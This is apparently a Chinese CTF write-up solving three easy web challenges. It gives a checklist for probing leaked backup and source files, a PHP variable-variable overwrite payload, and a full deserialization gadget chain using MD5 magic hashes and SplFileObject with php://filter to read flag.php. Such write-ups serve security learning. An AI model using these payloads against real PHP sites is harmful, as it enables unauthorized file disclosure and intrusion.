这里放了本人本人在比赛写出来的部分部分题目题解,只有web方向的简单题
第一题
题目信息收集,所以就尝试下面几个方向:
-
查看页面源代码(不能用右键,那就ctrl+u)
-
查看www.zip, robots.txt,index.phps,.git,.svn,index.php.swp
-
抓包查看协议头
-
尝试是否有 url/editor(是否修改有默认配置)
-
尝试 db/db.mdb (mdb文件是早期asp+access构架的数据库文件)
发现有www.zip ,下载后发先index.php,和f1ooog.txt两个文件,打开f1ooog.txt,有这个
flag{flag_is_here}
尝试提交,错误,然后就看另一个文件,没有有用信息,然后尝试访问
url/f1ooog.txt
得到flag
第二题
题目提示了要知道bak也就是备份文件,所以就去找index.php.bak
url/index.php.bak
然后下载下来,得到原码
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("Mabey you need know bak file");
if ( !isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $key => $value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);
首先要是post传参,然后传入flag参数,然后就是两个遍历,最后判定两个flag是否相等。
所以用hackerbar来传参
flag = 1
注意这里遍历时有些变量有两个$
$a = 'flag';
$flag = flag{};
$$a = 123;//就相当于$flag = flag{}
由于$_POST里存放的post参数的数组,所以
foreach ($_POST as $key => $value)
$$key = $value;
这里就把$flag给重写了,由于必须传入flag参数,我没有找到如何绕过,但是,可以注意到,代码最后一句是die($200),那么是不是可重写$200呢,所以构造payload:(注意这里是GET传参)
url/flag=_200
得到flag
第五题
页面提示代码
<?php
error_reporting(0);
class wz{
public $wname;
public $wrank;
public function __construct($n,$r){
$this->wname = $n;
$this->wrank = $r;
}
public function whoplaywz($a,$b){
if($a===$b){
return true;
}else{
echo 'are u Primary school student? ';
return false;
}
}
}
class lol{
public $lname;
public $lrank;
public function __construct($n,$l){
$this->lname = $n;
$this->lrank = $l;
}
public function firstBlood(){
if($this->lname==='520' || $this->lname==='0x208'){
return false;
}
if(intval($this->lname,0)===520){
echo 'women like 520,but i like to play lol! ';
if($this->lrank->wname !=$this->lrank->wrank && md5($this->lrank->wname)==md5($this->lrank->wrank)){
return true;
}else{
return false;
}
}else{
return false;
}
}
public function win(){
if($this->lname = 'EDG' or $this->lrank->wname = 'IG' or $this->lrank->wrank ='DWG'){
echo $flag;
}
}
public function __wakeup(){
if($this->lrank->whoplaywz($this->lrank->wname,$this->lrank->wrank)){
$this->win();
}
}
}
class dota{
public $dname;
public $drank;
public function __construct($d,$c){
$this->dname = $d;
$this->drank = $c;
}
public function bestdota(){
if($this->drank == 'cndota'){
echo "Do u want to see flag.php?\n";
echo new $_POST['c']($_POST['n']);
}
}
public function __wakeup(){
if($this->dname->firstBlood()) {
$this->bestdota();
}
}
}
if(isset($_GET['poc'])){
unserialize(base64_decode($_GET['poc']));
}else{
highlight_file(__FILE__);
}
?>
分析,首先要GRT传入一个poc参数,由于unserialize所以要先进行序列化,然后还要进行base64加密,那么三个类序列化那个呢,看__wakeup方法(php魔术方法附在文章最后)
-
__wakeup方法会在类执行反序列化unserialize()时,先会调用这个函数
然后分析代码,就可以知道我们因该序列化dota类
//复制dota类代码
$a = new dota(1,2);
var_dump(base64_encode(serialize($a)));
分析dota类:
先是调用构造方法,传入两个参数值,然后就是调用__wakeup方法,由$this->dname->firstBlood()知,dname传入的参数为lol类的实例化对象
$a = new dota(new lol(1,2),2);
然后进入firstBlood方法,这里也要调用构造方法,if判断是否lname为520……,
intval('123abc'); //输出:123
intval('abc123');// 0
所以
$a = new dota(new lol('520abc',2),2);
$this->lrank->wname说明wname传入的是wz类的实例化对象
$a = new dota(new lol('520abc',new wz(1,2)),2);
然后就是判断MD5加密后是否相等
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
随便取一个就行
$a = new dota(new lol('520abc',new wz('s878926199a','s155964671a')),2);
然后就回到了dota类,进入bestdota方法中,
这要求$this->drank == 'cndota',所以
$a = new dota(new lol('520abc',new wz('s878926199a','s155964671a')),'cndota');
然就是传入两个post参数,n和c,注意到前面有个new,本人本来是构造一个对lol类的反序列从而引用__wakeup方法,然后进入win方法,得到flag,但是没有成功,大家可以试试,这里介绍一另一种方法,原生类
目录遍历
DirectoryIterator (PHP 5, PHP 7, PHP 8)
FilesystemIterator (PHP 5 >= 5.3.0, PHP 7, PHP 8)
GlobIterator 文件读取
SplFileInfo类
SplFileObject类
SplTempFileObject类
所以构造payload
c=SplFileObject&n=php://filter/convert.base64-encode/resource=flag.php
得到
are u Primary school student? women like 520,but i like to play lol! Do u want to see flag.php? PD9waHANCiRmbGFnPSdmbGFne2FlMG8tZmpyLTIzZWUzLWtleW9vdX0nOw0KID8+
然后用bp解码得到
<?php
$flag='flag{ae0o-fjr-23ee3-keyoou}';
?>
PHP魔术方法
方法名 | 描述 |
---|---|
__sleep() | 执行序列化serialize()时,先会调用这个函数 |
__wakeup() | 执行反序列化unserialize()时,先会调用这个函数 |
__get() | 当获得一个类的成员变量时调用 |
__set() | 当设置一个类的成员变量时调用 |
isset() | 当对不可访问属性调用isset()或empty()时调用 |
unset() | 当对不可访问属性调用unset()时被调用 |
__construct() | 类的构造函数 |
_destruct() | 类的析构函数 |
__ call() | 在对象中调用一个不可访问方法时调用 |
__callStatic() | 用静态方式中调用一个不可访问方法时调用 |
__autoload() | 尝试加载未定义的类 |
__toString() | 在将一个对象转化成字符串时自动调用 |